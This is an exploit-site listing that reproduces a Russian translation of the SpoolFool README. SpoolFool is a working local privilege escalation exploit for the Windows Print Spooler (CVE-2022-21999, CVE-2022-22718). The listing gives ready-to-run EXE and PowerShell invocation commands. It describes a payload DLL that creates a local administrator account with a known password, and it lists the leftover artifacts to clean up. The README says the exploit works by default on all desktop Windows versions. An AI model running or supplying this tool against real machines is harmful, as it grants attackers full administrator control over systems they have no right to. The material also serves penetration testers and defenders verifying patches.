Sploitus

Exploit for SpoolFool

CVE-2022-21999CVE-2022-22718

kitploit · 2026-08-25

Exploit Code

MARKDOWN78 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LY4K-SPOOLFOOL
# SpoolFool

Эксплойт для CVE-2022-21999 - уязвимость повышения привилегий в Windows Print Spooler (LPE)

## Подробности

Предоставленный эксплойт должен работать по умолчанию на всех версиях Windows для настольных ПК.

Полные технические сведения см. в статье в блоге здесь.

## Использование

root@kitploit:~
    
    
    PS C:\SpoolFool> .\SpoolFool.exe
    
    SpoolFool
      By Oliver Lyak (@ly4k_)
    
    Examples:
      C:\SpoolFool\SpoolFool.exe -dll add_user.dll
      C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer'
      C:\SpoolFool\SpoolFool.exe -dll add_user.dll -dir 'SECRET'
      C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer' -dir 'SECRET'
    

### Powershell

root@kitploit:~
    
    
    PS C:\SpoolFool> ipmo .\SpoolFool.ps1
    PS C:\SpoolFool> Invoke-SpoolFool
    
    SpoolFool
      By Oliver Lyak (@ly4k_)
    
    Examples:
       -dll add_user.dll
       -dll add_user.dll -printer 'My Printer'
       -dll add_user.dll -dir 'SECRET'
       -dll add_user.dll -printer 'My Printer' -dir 'SECRET'
    

## Доказательство концепции

Следующий PoC использует DLL, которая создает нового локального администратора `admin / Passw0rd!`. DLL (`AddUser.dll`) и исходный код можно найти в этом репозитории.

![](https://assets.kitploit.com/production/public/readmes/28739/99ec68f7655c3cc3e37d87c86bdcbc45dbf2e0edb3387e4cb59eae816c0e6611.png)

**Второй запуск**

Следующий PoC демонстрирует второй запуск предоставленного эксплойта. Обратите внимание, что на этот раз уязвимость не используется для загрузки DLL.

![](https://assets.kitploit.com/production/public/readmes/28739/396619468e34e8305c4abfba6eb66792bb70d03d4de6dcb2b6a4206e60f8a603.png)

## Артефакты

После выполнения эксплойта остаются следующие артефакты для последующей очистки:

  * Созданный каталог драйвера принтера не удаляется
  * Полезная нагрузка DLL копируется в каталог драйвера принтера и не удаляется
  * Любой созданный принтер не удаляется
  * Значение `SpoolDirectory` целевого принтера не восстанавливается



## Авторы

  * Oliver Lyak @ly4k_



## Ссылки

  * SpoolFool: Повышение привилегий в Windows Print Spooler (CVE-2022-21999)